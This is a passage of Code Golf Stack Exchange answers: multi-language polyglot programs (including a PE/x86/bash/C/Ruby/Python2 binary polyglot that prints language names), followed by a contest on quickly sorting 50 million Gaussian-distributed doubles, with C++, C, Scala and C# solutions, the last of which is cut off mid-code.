csh, tcsh, rk, and SIL. [Answer] ## Bash, C, Gawk, Perl, vi (145 characters; score ≈ .077) (`<BS>` stands for ASCII code 8. `<ESC>` stands for ASCII code 27.) ``` #define echo//<BS><BS><BS>vi<ESC>ZZ #define BEGIN A() #define B\ { echo Bash ;exit; #define C\ } BEGIN {printf(A=="A"?"Perl":"Gawk");exit;} main(){puts("C");} ``` To execute the vi code, which I have only tested using Vim, use this command: ``` cat /dev/null > tmpfile && vi -s polyglot.sh tmpfile > /dev/null 2>&1 && cat tmpfile ``` [Answer] # Java, Lisp, Whitespace, Intercal, PHP, Befunge-98; score =.0189 This was originally an answer to [this](https://codegolf.stackexchange.com/questions/16853/how-many-langs-can-you-hack-in). ``` ;\\0"egnufeB">:#,_@SSSTTTSTTTL ;TL ;SSSSSTTSTSSSL ;TL ;SSSSSTTSTSSTL ;TL ;SSSSSTSTSTSSL ;TL ;SSSSSTTSSTSTL ;TL ;SSSSSTSTSSTTL ;TL ;SSSSSTTTSSSSL ;TL ;SSSSSTTSSSSTL ;TL ;SSSSSTTSSSTTL ;TL ;SSSSSTTSSTSTL ;SSL ;L ;L ;L ;public class H{ public static void main(String []a){System.out.println("JAVA");}} ;/* (print "LISP") ;*/ ;//<?php ; echo "PHP" ;//?> ;/* #| DO ,1 <- #8 DO ,1 SUB #1 <- #110 DO ,1 SUB #2 <- #32 DO ,1 SUB #3 <- #72 DO ,1 SUB #4 <- #136 DO ,1 SUB #5 <- #88 DO ,1 SUB #6 <- #136 PLEASE DO ,1 SUB #7 <- #64 DO ,1 SUB #8 <- #80 PLEASE READ OUT ,1 PLEASE NOTE |# ;*/ ;// PLEASE GIVE UP ``` [Answer] ## [Befunge](https://github.com/catseye/Befunge-93), [05AB1E (legacy)](https://github.com/Adriandmen/05AB1E/tree/fb4a2ce2bce6660e1a680a74dd61b72c945e6c3b), [Vyxal](https://github.com/Lyxal/Vyxal), [Red](http://www.red-lang.org/), [Python 1](https://www.python.org/download/releases/1.6.1/), [Vim](https://www.vim.org), [Zsh](https://www.zsh.org/) - 71.5 / 114 characters ≈ 0.164 score ``` 'a;# "egnufeB"\\,,,,,,,@"05AB1E",q', 2>2 'a;`Vyxal`,Q', 2>2#;echo Zsh print 'Red quit;' * 0+'Python', 1>0#<0x1B>}dHiVim ``` Try it in [Befunge!](https://tio.run/##S0pNK81LT/3/Xz3RWllBKTU9rzQt1UkpJkYHAhyUDEwdnQxdlXQK1XUUjOyMuIAKE8IqKxJzEnQCIULK1qnJGfkKUcUZXAVFmXklCupBqSkKhaWZJdbqCloKBtrqAZUlGfl5QNWGdgbK0rUpHplhmbn//wMA) [05AB1E!](https://tio.run/##MzBNTDJM/f9fPdFaWUEpNT2vNC3VSSkmRgcCHJQMTB2dDF2VdArVdRSM7Iy4gAoTwiorEnMSdAIhQsrWqckZ@QpRxRlcBUWZeSUK6kGpKQqFpZkl1uoKWgoG2uoBlSUZ@XlA1YZ2BsrStSkemWGZuf//AwA) [Vyxal!](http://lyxal.pythonanywhere.com?flags=&code=%27a%3B%23%20%22egnufeB%22%5C%5C%2C%2C%2C%2C%2C%2C%2C%40%2205AB1E%22%2Cq%27%2C%202%3E2%0A%27a%3B%60Vyxal%60%2CQ%27%2C%202%3E2%23%3Becho%20Zsh%0Aprint%20%27Red%20quit%3B%27%20*%200%2B%27Python%27%2C%201%3E0%23%1B%7DdHiVim&inputs=&header=&footer=) [Red!](https://tio.run/##K0pN@R@UmhId@1890VpZQSk1Pa80LdVJKSZGBwIclAxMHZ0MXZV0CtV1FIzsjLiAChPCKisScxJ0AiFCytapyRn5ClHFGVwFRZl5JQrqQCMVCkszS6zVFbQUDLTVAypLMvLzgKoN7QyUpWtTPDLDMnP//wcA) [Python!](https://tio.run/##K6gsycjPM/z/Xz3RWllBKTU9rzQt1UkpJkYHAhyUDEwdnQxdlXQK1XUUjOyMuIAKE8IqKxJzEnQCIULK1qnJGfkKUcUZXAVFmXklCupBqSkKhaWZJdbqCloKBtrqAWBbgKoN7QyUpWtTPDLDMnP//wcA) [Vim!](https://tio.run/##K/v/Xz3RWllBKTU9rzQt1UkpJkYHAhyUDEwdnQxdlXQK1XUUjOyMuIAKE8IqKxJzEnQCIULK1qnJGfkKUcUZXAVFmXklCupBqSkKhaWZJdbqCloKBtrqAZUlGfl5QNWGdgbK0rUpHplhmbn//wMA) [Zsh!](https://tio.run/##qyrO@P9fPdFaWUEpNT2vNC3VSSkmRgcCHJQMTB2dDF2VdArVdRSM7Iy4gAoTwiorEnMSdAIhQsrWqckZ@QpRxRlcBUWZeSUK6kGpKQqFpZkl1uoKWgoG2uoBlSUZ@XlA1YZ2BsrStSkemWGZuf//AwA) [Answer] This is a cheap selection of languages, but here goes: ## CoffeeScript, JScript, Mozilla Javascript (≈ JavaScript 1.3), ECMAScript Edition 5, ECMAScript Edition 3, 223 chars, score ≈ 0.0501) ``` a="undefined" x="ECMAScript 3" if(Array.prototype.map) x="ECMAScript 5" if(typeof CoffeeScript!=a) x="CoffeeScript" if(typeof uneval!=a) x="Mozilla JavaScript" if(typeof WScript!=a) WScript.echo("JScript") else alert(x) ``` [Answer] ## Windows Batch, TI-Basic, [Golf-Basic 84](http://timtechsoftware.com/?page_id=1261 "Golf-Basic 84"), [Quomplex](http://timtechsoftware.com/?page_id=1264 "Quomplex"), and [GTB](http://timtechsoftware.com/?page_id=1309 "GTB") 5\*2/93 = 0.11 ``` ::¤Quomplex¤:"'*[]'":~"GTB":g;1:d`"GOLF-BASIC 84":g`1:"TI-BASIC":Lbl 1:End echo Windows Batch ``` **How it works** Windows Batch was the easiest, because `::` starts a comment. Fairly simple to implement. TI-Basic doesn't support lowercase letters or backticks, causing it to skip the statements `d`"GOLF-BASIC 84":g`1`, which Golf-Basic evaulates, Displaying the message and forwarding to Label 1, where it is promptly ended. This is similar for GTB, with its handy display character, `~`. By the way, a string with no display will be put in `Ans`. If there are no Display commands following it, `Ans` will be outputted (not the case here). Quomplex was snuck in at the beginning because its complex syntax won't allow for much to be skipped. All it does is add `"Quomplex"` to the output, and then for the mastery of the program... **The Mastery of the Programming Syntax** ``` :"'*[]'" ``` Pure genius. Quomplex ignores `:` and takes `"'` and `'"` as strings, leaving it to output the stack and perish in an infinite while loop (`[]`). Meanwhile, Golf-Basic and TI-Basic take the whole `"'*[]'"` as a string, because `'` is a mathematical operator, not a string operator. [Answer] ## JScript, EcmaScript Edition 3, 5, 6, 2016, Node, Mozilla JavaScript (score ≈ 0.1342) This answer is originally based off Peter Olson's answer, but minus the *CoffeeScript* (as whitespace-significant languages can be horrible for golfing). I also added *Node*, *ES6* and *ES2016* and golfed the code a little, almost tripling the original score. ``` $=this,y="EcmaScript ",x=$.module?"Node":$.uneval?"Mozilla JavaScript":"".padStart?y+2016:$.Map?y+6:[].map?y+5:y+3,($.WScript||$.alert)(x) ``` [Answer] ## PE/bash/x86/C/Ruby/Python2, 330 bytes score ≈ 0.0445 xxd: ``` 00000000: 4d5a 7544 3d27 5c27 273b 0a23 2f2a 0a27 MZuD='\'';.#/*.' 00000010: 3b65 6368 6f20 6261 7368 2023 273b 7072 ;echo bash #';pr 00000020: 696e 7420 2830 616e 6427 5275 6279 2729 int (0and'Ruby') 00000030: 6f72 2750 7974 686f 6e32 2723 4000 0000 or'Python2'#@... 00000040: 5045 0000 4c01 0100 b802 00cd 10b8 0013 PE..L........... 00000050: eb2e 0000 7000 0301 0b01 0000 7075 7473 ....p.......puts 00000060: 0000 0065 7869 7400 f000 0000 6d73 7663 ...exit.....msvc 00000070: 7274 0000 0000 4000 0400 0000 0400 0000 rt....@......... 00000080: bb0f 00bd 8c7c eb58 0400 0000 7838 3600 .....|.X....x86. 00000090: 0004 0000 0100 0000 0000 0000 0300 0000 ................ 000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000000b0: 0000 0000 0200 0000 0000 0000 0000 0000 ................ 000000c0: 0d01 0000 0000 0000 2e74 6578 7400 0000 .........text... 000000d0: 4500 0000 f000 0000 4500 0000 f000 0000 E.......E....... 000000e0: b903 00ba 0000 cd10 ebfe 0000 0000 0000 ................ 000000f0: 6840 0040 00ff 1501 0140 00ff 1505 0140 h@.@.....@.....@ 00000100: 005a 0000 0061 0000 0000 0000 0000 0000 .Z...a.......... 00000110: 0000 0000 0000 0000 006c 0000 0001 0100 .........l...... 00000120: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000130: 0000 0000 002a 2f0d 6d61 696e 2829 7b70 .....*/.main(){p 00000140: 7574 7328 2243 2229 3b7d uts("C");} ``` source: ``` ; nasm base equ 0x400000 ; ; DOS header ; ; The only two fields that matter are e_magic and e_lfanew mzhdr: dw "MZ" ; DOS e_magic jnz a db "='\'';",10,"#/*",10,"';echo bash #';print (0and'Ruby')or'Python2'#" times 64 - 4 - ($-$$) db 0 dd 64 ; DOS e_lfanew ; ; NT headers ; PE: dd "PE" ; PE signature ; ; NT file header ; filehdr: dw 0x014C ; Machine (Intel 386) dw 1 ; NumberOfSections ; dd 0 ; TimeDateStamp UNUSED ; dd 0 ; PointerToSymbolTable UNUSED ; dd 0 ; NumberOfSymbols UNUSED a: mov ax,2 ; 3 bytes int 0x10 ; 2 bytes ; clear screen mov ax,0x1300 ; 3 bytes jmp b ; 2 bytes dw 0 ; 2 bytes dw opthdrsize ; SizeOfOptionalHeader dw 0x103 ; Characteristics ; ; NT optional header ; opthdr: dw 0x10B ; Magic (PE32) ; db 0 ; MajorLinkerVersion UNUSED ; db 0 ; MinorLinkerVersion UNUSED ; dd 0 ; SizeOfCode UNUSED ; dd 0 ; SizeOfInitializedData UNUSED ; dd 0 ; SizeOfUninitializedData UNUSED puts_: db 0,0,"puts",0 exit_: db 0,0,"exit",0 dd start ; AddressOfEntryPoint ; dd 0 ; BaseOfCode UNUSED ; dd 0 ; BaseOfData UNUSED crt: db "msvcrt",0,0 dd base ; ImageBase dd 4 ; SectionAlignment dd 4 ; FileAlignment ; dw 0 ; MajorOperatingSystemVersion UNUSED ; dw 0 ; MinorOperatingSystemVersion UNUSED ; dw 0 ; MajorImageVersion UNUSED ; dw 0 ; MinorImageVersion UNUSED b: mov bx,0xF ; 3 bytes ; video page, video attribute mov bp,0x7C00+x86 ; 3 bytes jmp c ; 2 bytes dw 4 ; MajorSubsystemVersion dw 0 ; MinorSubsystemVersion UNUSED ; dd 0 ; Win32VersionValue UNUSED x86: db "x86",0 dd 1024 ; SizeOfImage dd 1 ; SizeOfHeaders nonzero for Windows XP dd 0 ; CheckSum UNUSED dw 3 ; Subsystem (Console) dw 0 ; DllCharacteristics UNUSED dd 0 ; SizeOfStackReserve dd 0 ; SizeOfStackCommit dd 0 ; SizeOfHeapReserve dd 0 ; SizeOfHeapCommit UNUSED dd 0 ; LoaderFlags UNUSED dd 2 ; NumberOfRvaAndSizes for Windows 10; UNUSED in Windows XP ; ; Data directories (part of optional header) ; dd 0, 0 ; Export Table UNUSED dd idata, 0 ; Import Table opthdrsize equ $ - opthdr ; ; Code section header ; db ".text", 0, 0, 0 ; Name dd codesize ; VirtualSize dd code ; VirtualAddress dd codesize ; SizeOfRawData dd code ; PointerToRawData ; dd 0 ; PointerToRelocations UNUSED ; dd 0 ; PointerToLinenumbers UNUSED ; dw 0 ; NumberOfRelocations UNUSED c: mov cx,3 ; 3 bytes ; text length mov dx,0 ; 3 bytes ; text position int 0x10 ; 2 bytes ; print text jmp $ ; 2 bytes ; enter infinite loop dw 0 ; NumberOfLinenumbers UNUSED dd 0 ; Characteristics UNUSED ; ; Code section data ; align 4, db 0 code: ; ; Entry point ; bits 32 start: push base + PE call [base + puts] call [base + exit] ; ; Import address table (array of IMAGE_THUNK_DATA structures) ; iat: puts: dd puts_ ; Import puts by name exit: dd exit_ ; Import exit by name dd 0 ; terminator ; ; Import table (array of IMAGE_IMPORT_DESCRIPTOR structures) ; idata: dd 0 ; OriginalFirstThunk UNUSED dd 0 ; TimeDateStamp UNUSED dd 0 ; ForwarderChain UNUSED dd crt ; Name dd iat ; FirstThunk times 5 dd 0 ; terminator codesize equ $ - code db "*/",13,"main(){puts(",34,"C",34,");}" ``` [Try it online](https://tio.run/##pZTda9swEMDf@1ccKdRtoaq@T07YKHR9W6HsaZS9WLa1BNYkpM5I2fa3ZydLiduwbmPTw1kn3f18H5J89TjdbjebBi5W8BbCUVtPF3Axh5GnnTHEMZoARO357nXayruf6xouNjUEODkBdlmxxbobbD@s/dNAWpEGYQJxe7C5e@qmi7kcJ5tl0iBstzyPMejGVIBGa1CNRDA1CYnKA6@kAhlkFWcIcHu/fvem@FQUE3Z8ec6Ko0QQxFDeGrDKOrBBcrDSCsCoSh4ZkYYcJcCkj6zP@riYLFeZIYlhS9sCanKXThFDkGp1jEgiwSWWBJIlwGzewSmv5k0RK1CcZYaKjEA/IXMOWKIG62wA26q4RnFosoJoCrBYFbk0xfEVYywzNDEM1yZZ6ZoLoPw4eMclrdUNCO4dzYQCuLth7D0bRmYYYrRetomB/T9VBPko0holhBqJEf2W2X@57h4zwxKDp2ipsOhsSfakhn0GtiF3tDYx2s2s6xkPj1/rzEBioKQq8L1TKoDeqcMMVr371WEujhje80BWvgFXY02pGffME51yoGxk9I7f2cf42Ti7Y5Qpl10cYv/3Qah9HOxgZEY11OOP4jWGf8mQ/8KoI6PZ9XEQso2nzaBLbTpgdO2mGxhNvHNmZzV09FdrcJMRNy/jaGNfSq5iX6pkWjeCU3NC@7e5hHhfnI5WvQgBhOkP/DPVJBWmV/lwZHmUr35fU1PtD6v4XU3vybM6jEOIV3tr672a7@GQy5cXDPn/50OoAwa9ezLwhm4aZdU/TtLR84Med4zzS/ZQzeanZ9@WmRHfDzR0FlBJevykpsdPkpPy2MDhoOt@OroenU1@/AQ) in bash/C/Ruby/Python2. Portable Executable `polyglot.exe` was tested on Windows 10 2004 64-bit and Windows XP SP3 32-bit. Raw x86 was tested in QEMU 6.2.0: `qemu-system-x86_64 -no-fd-bootchk -fda polyglot`. Inspired by/based on [αcτµαlly pδrταblε εxεcµταblε](https://justine.lol/ape.html), which is a PE/bash/x86 polyglot. Also based on [this hello world PE](https://codegolf.stackexchange.com/questions/55422/hello-world/229974#229974). #### Portable Executable Main differences from [hello world](https://codegolf.stackexchange.com/questions/55422/hello-world/229974#229974): * DOS and NT headers don't overlap here, NT header immediately follows DOS header * `puts` and `exit` are imported by name As mentioned in hello world PE answer, the minimal distance between the start of NT headers and end of file on Windows 10 is 264 bytes, so minimal PE file size with non-overlapping DOS and NT headers on Windows 10 is 64+264=328 bytes (64 == sizeof(IMAGE\_DOS\_HEADER)). It means that all but 2 bytes of C code at the end of the file are required for this file to work on Windows 10. The program prints its own PE signature, which is kinda cute. #### x86 [αpε](https://justine.lol/ape.html) uses `jno 0x4a` `jo 0x4a` to jump to the main boot code. I ran out of space in the DOS header and didn't want to rearrange the code, so I use the less robust single `jnz a` instruction. This means I rely on BIOS to not set `bp` to `1` before calling boot sector (`M` in `MZ` is `dec bp`). QEMU and Bochs set `bp` to `0`. Unconditional `jmp` is not used because its code is [`0xEB`](https://www.felixcloutier.com/x86/jmp), on the other hand almost all short conditional jumps have ASCII codes, see [here](http://unixwiz.net/techtips/x86-jumps.html). Main code: ``` mov ax,2 int 0x10 ; clear screen mov ax,0x1300 mov bx,0xF ; video page, video attribute mov bp,0x7C00+x86 mov cx,3 ; text length mov dx,0 ; text position int 0x10 ; print text jmp $ ; enter infinite loop x86: db "x86" ``` This code is split into 3 parts (`a:`,`b:`,`c:`) to fit inside unused fields of NT headers. It looks like both `b` and `c` would fit inside section header, but it breaks PE on Windows XP for some reason. #### bash/C/Ruby/Python2 ``` MZuD='\''; #/* ';echo bash #';print (0and'Ruby')or'Python2'# ... */␍main(){puts("C");} ``` Pretty standard stuff: * bash: `\` inside `''` does not escape * C: allows single `#` on a line * Ruby: `0` is truthy Also, I used the fact that C treats `\r` as newline, unlike bash/Ruby/Python2 ([link](https://codegolf.stackexchange.com/questions/102370/add-a-language-to-a-polyglot/247860#comment537518_236685)). This allows to use just `#` in bash/Ruby/Python2 to comment out the rest of the polyglot. [Answer] # JScript, EcmaScript Edition 3, 5, 6, 2016, 2017, Node, Mozilla JavaScript (score = .174193548387), CoffeeScript (as whitespace-significant languages can be horrible for golfing). ``` $=this,y="EcmaScript ",($.WScript||alert)(x=Object.values?y+2017:$.module?"Node":$.uneval?"Mozilla JavaScript":[].includes?y+2016:$.Map?y+6:[].map?y+5:y+3) ``` ]
[Question] [ Following the interest in [this question](https://stackoverflow.com/questions/6166546/sorting-algorithms-for-data-of-known-statistical-distribution), I thought it would be interesting to make answers a bit more objective and quantitative by proposing a contest. The idea is simple: I have generated a binary file containing 50 million gaussian-distributed doubles (average: 0, stdev 1). The goal is to make a program that will sort these in memory as fast as possible. A very simple reference implementation in python takes 1m4s to complete. How low can we go? The rules are as follows: answer with a program that opens the file "gaussian.dat" and sorts the numbers in memory (no need to output them), and instructions for building and running the program. The program must be able to work on my Arch Linux machine (meaning you can use any programming language or library that is easily installable on this system). The program must be reasonably readable, so that I can make sure it is safe to launch (no assembler-only solution, please!). I will run the answers on my machine (quad core, 4 Gigabytes of RAM). The fastest solution will get the accepted answer and a 100 points bounty :) The program used to generate the numbers: ``` #!/usr/bin/env python import random from array import array from sys import argv count=int(argv[1]) a=array('d',(random.gauss(0,1) for x in xrange(count))) f=open("gaussian.dat","wb") a.tofile(f) ``` The simple reference implementation: ``` #!/usr/bin/env python from array import array from sys import argv count=int(argv[1]) a=array('d') a.fromfile(open("gaussian.dat"),count) print "sorting..." b=sorted(a) ``` Only 4 GB of RAM is available. **Note that the point of the contest is to see if we can use prior information about the data**. it is not supposed to be a pissing match between different programming language implementations! [Answer] Here is a solution in C++ which first partitions the numbers into buckets with same expected number of elements and then sorts each bucket separately. It precomputes a table of the cumulative distribution function based on some formulas from Wikipedia and then interpolates values from this table to get a fast approximation. Several steps run in multiple threads to make use of the four cores. ``` #include <cstdlib> #include <math.h> #include <stdio.h> #include <algorithm> #include <tbb/parallel_for.h> using namespace std; typedef unsigned long long ull; double signum(double x) { return (x<0) ? -1 : (x>0) ? 1 : 0; } const double fourOverPI = 4 / M_PI; double erf(double x) { double a = 0.147; double x2 = x*x; double ax2 = a*x2; double f1 = -x2 * (fourOverPI + ax2) / (1 + ax2); double s1 = sqrt(1 - exp(f1)); return signum(x) * s1; } const double sqrt2 = sqrt(2); double cdf(double x) { return 0.5 + erf(x / sqrt2) / 2; } const int cdfTableSize = 200; const double cdfTableLimit = 5; double* computeCdfTable(int size) { double* res = new double[size]; for (int i = 0; i < size; ++i) { res[i] = cdf(cdfTableLimit * i / (size - 1)); } return res; } const double* const cdfTable = computeCdfTable(cdfTableSize); double cdfApprox(double x) { bool negative = (x < 0); if (negative) x = -x; if (x > cdfTableLimit) return negative ? cdf(-x) : cdf(x); double p = (cdfTableSize - 1) * x / cdfTableLimit; int below = (int) p; if (p == below) return negative ? -cdfTable[below] : cdfTable[below]; int above = below + 1; double ret = cdfTable[below] + (cdfTable[above] - cdfTable[below])*(p - below); return negative ? 1 - ret : ret; } void print(const double* arr, int len) { for (int i = 0; i < len; ++i) { printf("%e; ", arr[i]); } puts(""); } void print(const int* arr, int len) { for (int i = 0; i < len; ++i) { printf("%d; ", arr[i]); } puts(""); } void fillBuckets(int N, int bucketCount, double* data, int* partitions, double* buckets, int* offsets) { for (int i = 0; i < N; ++i) { ++offsets[partitions[i]]; } int offset = 0; for (int i = 0; i < bucketCount; ++i) { int t = offsets[i]; offsets[i] = offset; offset += t; } offsets[bucketCount] = N; int next[bucketCount]; memset(next, 0, sizeof(next)); for (int i = 0; i < N; ++i) { int p = partitions[i]; int j = offsets[p] + next[p]; ++next[p]; buckets[j] = data[i]; } } class Sorter { public: Sorter(double* data, int* offsets) { this->data = data; this->offsets = offsets; } static void radixSort(double* arr, int len) { ull* encoded = (ull*)arr; for (int i = 0; i < len; ++i) { ull n = encoded[i]; if (n & signBit) { n ^= allBits; } else { n ^= signBit; } encoded[i] = n; } const int step = 11; const ull mask = (1ull << step) - 1; int offsets[8][1ull << step]; memset(offsets, 0, sizeof(offsets)); for (int i = 0; i < len; ++i) { for (int b = 0, j = 0; b < 64; b += step, ++j) { int p = (encoded[i] >> b) & mask; ++offsets[j][p]; } } int sum[8] = {0}; for (int i = 0; i <= mask; i++) { for (int b = 0, j = 0; b < 64; b += step, ++j) { int t = sum[j] + offsets[j][i]; offsets[j][i] = sum[j]; sum[j] = t; } } ull* copy = new ull[len]; ull* current = encoded; for (int b = 0, j = 0; b < 64; b += step, ++j) { for (int i = 0; i < len; ++i) { int p = (current[i] >> b) & mask; copy[offsets[j][p]] = current[i]; ++offsets[j][p]; } ull* t = copy; copy = current; current = t; } if (current != encoded) { for (int i = 0; i < len; ++i) { encoded[i] = current[i]; } } for (int i = 0; i < len; ++i) { ull n = encoded[i]; if (n & signBit) { n ^= signBit; } else { n ^= allBits; } encoded[i] = n; } } void operator() (tbb::blocked_range<int>& range) const { for (int i = range.begin(); i < range.end(); ++i) { double* begin = &data[offsets[i]]; double* end = &data[offsets[i+1]]; //std::sort(begin, end); radixSort(begin, end-begin); } } private: double* data; int* offsets; static const ull signBit = 1ull << 63; static const ull allBits = ~0ull; }; void sortBuckets(int bucketCount, double* data, int* offsets) { Sorter sorter(data, offsets); tbb::blocked_range<int> range(0, bucketCount); tbb::parallel_for(range, sorter); //sorter(range); } class Partitioner { public: Partitioner(int bucketCount, double* data, int* partitions) { this->data = data; this->partitions = partitions; this->bucketCount = bucketCount; } void operator() (tbb::blocked_range<int>& range) const { for (int i = range.begin(); i < range.end(); ++i) { double d = data[i]; int p = (int) (cdfApprox(d) * bucketCount); partitions[i] = p; } } private: double* data; int* partitions; int bucketCount; }; const int bucketCount = 512; int offsets[bucketCount + 1]; int main(int argc, char** argv) { if (argc != 2) { printf("Usage: %s N\n N = the size of the input\n", argv[0]); return 1; } puts("initializing..."); int N = atoi(argv[1]); double* data = new double[N]; double* buckets = new double[N]; memset(offsets, 0, sizeof(offsets)); int* partitions = new int[N]; puts("loading data..."); FILE* fp = fopen("gaussian.dat", "rb"); if (fp == 0 || fread(data, sizeof(*data), N, fp) != N) { puts("Error reading data"); return 1; } //print(data, N); puts("assigning partitions..."); tbb::parallel_for(tbb::blocked_range<int>(0, N), Partitioner(bucketCount, data, partitions)); puts("filling buckets..."); fillBuckets(N, bucketCount, data, partitions, buckets, offsets); data = buckets; puts("sorting buckets..."); sortBuckets(bucketCount, data, offsets); puts("done."); /* for (int i = 0; i < N-1; ++i) { if (data[i] > data[i+1]) { printf("error at %d: %e > %e\n", i, data[i], data[i+1]); } } */ //print(data, N); return 0; } ``` To compile and run it, use this command: ``` g++ -O3 -ltbb -o gsort gsort.cpp && time ./gsort 50000000 ``` **EDIT:** All buckets are now placed into the same array to remove the need to copy the buckets back into the array. Also the size of the table with precomputed values was reduced, because the values are accurate enough. Still, if I change the number of buckets above 256, the program takes longer to run than with that number of buckets. **EDIT:** The same algorithm, different programming language. I used C++ instead of Java and the running time reduced from ~3.2s to ~2.35s on my machine. The optimal number of buckets is still around 256 (again, on my computer). By the way, tbb really is awesome. **EDIT:** I was inspired by Alexandru's great solution and replaced the std::sort in the last phase by a modified version of his radix sort. I did use a different method to deal with the positive/negative numbers, even though it needs more passes through the array. I also decided to sort the array exactly and remove the insertion sort. I will later spend some time testing how do these changes influence performance and possibly revert them. However, by using radix sort, the time decreased from ~2.35s to ~1.63s. [Answer] Without getting smart, just to provide a much faster naïve sorter, here's one in C which should be pretty much equivalent to your Python one: ``` #include <stdio.h> #include <stdlib.h> #include <string.h> int cmp(const void* av, const void* bv) { double a = *(const double*)av; double b = *(const double*)bv; return a < b ? -1 : a > b ? 1 : 0; } int main(int argc, char** argv) { if (argc <= 1) return puts("No argument!"); unsigned count = atoi(argv[1]); double *a = malloc(count * sizeof *a); FILE *f = fopen("gaussian.dat", "rb"); if (fread(a, sizeof *a, count, f) != count) return puts("fread failed!"); fclose(f); puts("sorting..."); double *b = malloc(count * sizeof *b); memcpy(b, a, count * sizeof *b); qsort(b, count, sizeof *b, cmp); return 0; } ``` Compiled with `gcc -O3`, on my machine this takes more than a minute less than the Python: about 11 s compared to 87 s. [Answer] I partitioned into segments based on the standard deviation that should best break it down into 4ths. Edit: Rewritten to partition based on x value in <http://en.wikipedia.org/wiki/Error_function#Table_of_values> <http://www.wolframalpha.com/input/?i=percentages+by++normal+distribution> I tried using smaller buckets, but it seemed to have little effect once 2 \* beyond the number of cores available. Without any parallel collections, it would take 37 seconds on my box and 24 with the parallel collections. If partitioning via distribution, you can't just use an array, so there is some more overhead. I'm not clear on when a value would be boxed/unboxed in scala. I'm using scala 2.9, for the parallel collection. You can just download the tar.gz distribution of it. To compile: scalac SortFile.scala (I just copied it directly in the scala/bin folder. To run: JAVA\_OPTS="-Xmx4096M" ./scala SortFile (I ran it with 2 gigs of ram and got about the same time) Edit: Removed allocateDirect, slower than just allocate. Removed priming of initial size for array buffers. Actually made it read the whole 50000000 values. Rewrote to hopefully avoid autoboxing issues (still slower than naive c) ``` import java.io.FileInputStream; import java.nio.ByteBuffer import java.nio.ByteOrder import scala.collection.mutable.ArrayBuilder object SortFile { //used partition numbers from Damascus' solution val partList = List(0, 0.15731, 0.31864, 0.48878, 0.67449, 0.88715, 1.1503, 1.5341) val listSize = partList.size * 2; val posZero = partList.size; val neg = partList.map( _ * -1).reverse.zipWithIndex val pos = partList.map( _ * 1).zipWithIndex.reverse def partition(dbl:Double): Int = { //for each partition, i am running through the vals in order //could make this a binary search to be more performant... but our list size is 4 (per side) if(dbl < 0) { return neg.find( dbl < _._1).get._2 } if(dbl > 0) { return posZero + pos.find( dbl > _._1).get._2 } return posZero; } def main(args: Array[String]) { var l = 0 val dbls = new Array[Double](50000000) val partList = new Array[Int](50000000) val pa = Array.fill(listSize){Array.newBuilder[Double]} val channel = new FileInputStream("../../gaussian.dat").getChannel() val bb = ByteBuffer.allocate(50000000 * 8) bb.order(ByteOrder.LITTLE_ENDIAN) channel.read(bb) bb.rewind println("Loaded" + System.currentTimeMillis()) var dbl = 0.0 while(bb.hasRemaining) { dbl = bb.getDouble dbls.update(l,dbl) l+=1 } println("Beyond first load" + System.currentTimeMillis()); for( i <- (0 to 49999999).par) { partList.update(i, partition(dbls(i)))} println("Partition computed" + System.currentTimeMillis() ) for(i <- (0 to 49999999)) { pa(partList(i)) += dbls(i) } println("Partition completed " + System.currentTimeMillis()) val toSort = for( i <- pa) yield i.result() println("Arrays Built" + System.currentTimeMillis()); toSort.par.foreach{i:Array[Double] =>scala.util.Sorting.quickSort(i)}; println("Read\t" + System.currentTimeMillis()); } } ``` [Answer] Just put this in a cs file and compile it with csc in theory: (Requires mono) ``` using System; using System.IO; using System.Threading; namespace Sort { class Program { const int count = 50000000; static double[][] doubles; static WaitHandle[] waiting = new WaitHandle[4]; static AutoResetEvent[] events = new AutoResetEvent[4]; static double[] Merge(double[] left, double[] right) { double[] result = new double[left.Length + right.Length]; int l = 0, r = 0, spot = 0; while (l < left.Length && r < right.Length) { if (right[r] < left[l]) result[spot++] = right[r++]; else result[spot++] = left[l++]; } while (l < left.Length) result[spot++] = left[l++]; while (r < right.Length) result[spot++] = right[r++]; return result; } static void ThreadStart(object data) { int index = (int)data; Array.Sort(doubles[index]); events[index].Set(); } static void Main(string[] args) { System.Diagnostics.Stopwatch watch = new System.Diagnostics.Stopwatch(); watch.Start(); byte[] bytes = File.ReadAllBytes(@"..\..\..\SortGuassian\Data.dat"); doubles = new double[][] { new double[count / 4], new double[count / 4], new double[count / 4], new double[count / 4] }; for (int i = 0; i < 4; i++) { for (int j = 0; j < count / 4; j++) { doubles[i][j] = BitConverter.ToDouble(bytes, i * count/4 + j * 8); } } Thread[] threads = new Thread[4]; for (int i = 0; i < 4; i++) { threads[i] = new Thread(ThreadStart); waiting[i] = events[i] = new AutoResetEvent(false); threads[i].Start(i); } WaitHandle.WaitAll(waiting); double[] left = Merge(doubles[0], doubles[1]); double[] right = Merge(doubles[2], doubles[3]); double[] result = Merge(left, right); watch.Stop(); Console.WriteLine(watch.Elapsed.ToString()); Console.ReadKey(); } } } ``` [Answer] Since you know what the distribution is, you can use a direct indexing O(N) sort. (If you're wondering what that is, suppose you have a deck of 52 cards and you want to sort it. Just have 52 bins and toss each card into it's own bin.) You have 5e7 doubles. Allocate a result array R of 5e7 doubles. Take each number `x` and get `i = phi(x) * 5e7`. Basically do `R[i] = x`. Have a way to handle collisions, such as moving the number it may be colliding with (as in simple hash coding). Alternatively, you could make R a few times larger, filled with a unique *empty* value. At the end, you just sweep up the elements of R. `phi` is just the gaussian cumulative distribution function. It converts a gaussian distributed number between +/- infinity into a uniform distributed number between 0 and 1. A simple way to calculate it is with table lookup and interpolation. [Answer] Here is another sequential solution: ``` #include <stdio.h> #include <stdlib.h> #include <algorithm> #include <ctime> typedef unsigned long long ull; int size; double *dbuf, *copy; int cnt[8][1 << 16]; void sort() { const int step = 10; const int start = 24; ull mask = (1ULL << step) - 1; ull *ibuf = (ull *) dbuf; for (int i = 0; i < size; i++) { for (int w = start, v = 0; w < 64; w += step, v++) { int p = (~ibuf[i] >> w) & mask; cnt[v][p]++; } } int sum[8] = { 0 }; for (int i = 0; i <= mask; i++) { for (int w = start, v = 0; w < 64; w += step, v++) { int tmp = sum[v] + cnt[v][i]; cnt[v][i] = sum[v]; sum[v] = tmp; } } for (int w = start, v = 0; w < 64; w += step, v++) { ull *ibuf = (ull *) dbuf; for (int i = 0; i < size; i++) { int p = (~ibuf[i] >> w) & mask; copy[cnt[v][p]++] = dbuf[i]; } double *tmp = copy; copy = dbuf; dbuf = tmp; } for (int p = 0; p < size; p++) if (dbuf[p] 